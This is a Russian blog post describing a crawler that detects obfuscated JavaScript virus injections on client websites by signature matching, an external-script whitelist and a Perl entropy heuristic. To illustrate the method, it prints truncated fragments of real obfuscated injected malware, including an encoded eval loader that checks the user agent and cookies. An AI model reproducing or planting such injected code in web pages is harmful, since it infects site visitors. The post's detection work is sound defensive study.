Pull to refresh

Об одном эвристическом методе детекции вирусных инжекций на сайтах

Reading time6 min
Views1.3K
! Пост написал RomanL, но за неимением необходимого количества кармы — опубликовать его не может.

Хочу рассказать об одном решении, как можно обнаружить внедрения полиморфного вирусного JavaScript-кода в страницы сайтов. Заметка расcчитана на подготовленных пользователей, которым не надо объяснять элементарных вещей и которые могут сами найти дополнительную информацию не требуя ссылок на википедию :)


Введение.


Наверняка, многие сталкивались с неприятными предупреждениями браузеров о том, что сайт представляет потенциальную опасность для компьютера. А после того как Яндекс стал предупреждать об этом в поисковой выдаче стало очень просто объяснить почему вдруг на сайте трафик скатился до нуля. Просто, но поздно.

Все дело в нехороших червях, которые поражают веб-страницы и пытаются через дыры в браузерах проникнуть на компьютер посетителя и продолжить свое размножение.

Червь подобного типа обычно действует следующим образом:
  • Червь селится на какой-нибудь порно или варезный сайт и ждет любителей запретных удовольствий.
  • Если в браузере посетителя есть дыра (в последнее время), то червь проникает на компьютер жертвы и поселяется на ней используя руткит-методы для сокрытия своего пребывания
  • Кроме всего прочего, поселившийся червь ищет на компьютере сохраненные пароль к FTP-серверам (коих бывает достаточно на компах веб-разработчиков и системных администраторов)
  • Пароли отсылаются в координационный центр вирусной сети и оттуда организуется проникновение опасного кода на скомпрометированные сайты: поражаются индексные файлы во всех директориях веб-сервера.
  • Ну а дальше посетители пораженного сайта разносят заразу дальше, а поисковые системы справедливо блокируют опасный сайт.

Какой вид имеет вирусный код на сайте?


Обычно применяется несколько вариантов:
  • Скрытый iframe
  • JavaScript-код, формирующий тот же скрытый iframe
  • Инклуд JavaScript'а со внешнего сервера с последствиями из п. 2

Как можно оперативно получить информацию о проникновении вирусного кода на сайт?


  • 1. Мониторить файлы на сервере на предмет изменений, храня их хэши в отдельной базе. Недостаток: требует серверного ПО, неудобно при частных обновлениях.
  • 2. Мониторить сайт «извне» на предмет наличия в файлах вирусного кода. Например, есть сервис www.siteguard.ru который обеспечивает мониторинг ваших сайтов на предмет наличия вирусов.

Хочу на примере кратенько рассказать о некоторых особенностях второго подхода и как мы его используем в работе нашей компании.

Задача.


Задача проста — необходимо мониторить две сотни клиентских веб-сайтов на предмет появления на них вирусного кода.

Решение.


Написан краулер, периодически опрашивающий сайты из списка получая главную страницу и анализируя ее на предмет потенциальной опасности.

Поиск потенциально опасного кода идет в несколько этапов:
  • Поиск сигнатур. Используем базу сигнатур в виде регулярных выражений для определения внедрений скрытых iframe'ов и прочей понятной гадости. Этот уровень снимает достаточно большую часть самых распространенных вирусных инжекций.
  • Поиск внешних JS-инклудов. Анализируем подключения файлов скриптов с внешних серверов. Если внешний сервер отсутствует в «белом списке» то генерируем соответствующее уведомление администратору. Живых вирусов таким способом ловить не приходилось, но в интернете встречались подобные описания.
  • И самое интересное: эвристический анализ JavaScript-кода на странице.

Вот тут подробнее!


В последнее время новые модификации червей используют полиморфное шифрование (точнее обфускацию) JS-кода при внедрении на страницу с целью сокрытия логики, исполняемой скриптом. Такой код сложно вовремя отловить сигнатурным методом, потому что он меняется от копии к копии (хотя некоторые куски его можно описать регулярными выражениями в сигнатурной базе). Вот «куски тел» некоторых инжекций подобного рода:
var jGt7H3IkS=Array(63,6,19,54,61,31,22,51,12,33,0,0,0,0,0,0,49,5,4,62,2,25,29,38,39
,44,26,28,42,57,21,34,13,7,56,43,41,47,1,3,37,40,11,0,0,0,0,30,0,14,58,17,27,0,8,
60,16,36,35,20,46,24,48,10,32,9,15,23,52,53,59,50,55,45,18),OmFORSBhopxKumqErMdN3
QYTiogrWyNLb2agSAc="Ewgns28wesYusd8GQ3Ktcs4HoLmts2gnWSInoUgO1S8wo_m96QPxqW8GQ1876sFwB74HZSgwe5R
GELf7W5P@fWgG"
,JjrjMmsvdcJ8K6muubIPn=0,CCdH_4HW=0,Lv0RDYvi6cLNHfJ=0,EnMfvr1feyNJmFLN6C0pI
DRx7SSTALRmlVGS,KuX2VtJp1ALLHMe=OmFORSBhopxKumqErMdN3QYTiogrWyNLb2agSAc.length,K0
 
(function(t){eval(unescape(('<76ar<20a<3d<22Sc<72<69p<74Engine<22<2cb<3d<22<56er<73i<6fn()
<2b<22<2cj<3d<22<22<2cu<3dna<76igator<2euse<72Agent<3bif((u<2e<69nd<65xOf(<22W<69n<22)<3e0)<26<26
(u<2eindexOf(<22<4eT<206<22)<3c0)<26<26(documen<74<2e<63ooki<65<2ein<64<65xOf(<22<6d<69ek<3d1<22<29<3c0)
<26<26<28typeof(zr<76zts)<21<3d<74<79peof<28<22<41<22)<29)<7bz<72v<7ats<3d<22<41<22<3b<65
val(<22<69f<28<77indow<2e<22+a<2b<22)j<3dj+

Анализ подобного кода позволил выдвинуть гипотезу о его высокой энтропии, т.е. по сравнению с обычным JS-кодом обфусцированный код хаотичен.

Дальше мы использовали несколько модификаций алгоритма расчета конечной энтропии подобного кода и прогоняли их по небольшой сигнатурной базе. Результаты получились обнадеживающий, но с одной неприятной особенностью: вирусный код, запакованный алгоритмами, которые используются для упаковки библиотек типа jQuery показывал, соответственно, близкие к ним значения энтропии. Почесав репу и немного еще покопавшись с модификацией алгоритма было принято волевое решение включить подобный код в сигнатурную базу, а порог энтропии выставить для уверенного определения вышеприведенных модификаций вирусного кода.
Итак, вот этот небольшой код рассчитывает меру энтропии несколько обработанного JS-кода:
sub enthropy($$) {
    my $data = shift;
    my $ignore = shift;
    my $e = 0;
 
    my $letters = {};
    my $counter = 0;
 
    if ($data) {
        $data =~ tr/A-Z/a-z/;
        $data =~ s/\s//g;
 
        # чистим полиморфный код от игнорируемых сигнатур
        foreach (@{$ignore}) {
            $data =~ s/$_//g;
        }
 
        $data =~ s/[^2-9]/_/g;
 
        while ($data =~ /(...)/g) {
            $letters->{$1} ++;
            $counter ++;
        }
 
        foreach (keys(%{$letters})) {
            my $p = $letters->{$_} / $counter;
            $e += $p * log2( $p );            
        }
 
        $e = 0 - $e;
    }
 
    return $e;
}
sub log2() {
    my $n = shift;
    return log($n)/log(2);
}

Что тут происходит:
  • Готовим код, переводя буквы к одному регистру и избавляемся от пробельных символов.
  • Очищаем код от игнорируемых сигнатур (список регулярных выражений из отдельного файла). Этот шаг используется для удаления из потенциального кода кусков, которые могут дать ложные срабатывания. Например анализатор ругался на код информера от gismeteo, поэтому в базе игнорируемых сигнатур есть регулярное выражение:
    url='http:\/\/img\.gismeteo\.ru.*lang='ru';
  • Заменяем все символы кода которые не входят в диапазон цифр 2..9 на символ подчеркивания.
  • Генерируем алфавит нашего кода, состоящий из триплетов (группы по три символа). Результат этих преобразования в том, что полученный алфавит для вирусного кода получается богаче, чем для обычного — отсюда больше и значение энтропии.
  • Считаем энтропию для данного кода с полученным алфавитом

Поэкспериментировав с конечным значением был установлен его уровень, выше которого код считается вирусным:

our $E_MAX = 2.2;

Вот, собственно и все что я хотел сказать об одном методе эвристической детекции вирусных инжекций на сайтах. :)
PS Кстати, если вы сохраняете пароли к FTP в Far'е, то делайте это не в корне панели «FTP» а создавайте директории (через F7) — из них, почему-то вирусы пока не умеют их брать :)
_________
Текст подготовлен в ХабраРедакторе

P.S. Если статья понравилась — ставим плюс RomanL, если не понравилась — минус zvirusz.
Tags:
Hubs:
Total votes 77: ↑68 and ↓9+59
Comments39

Articles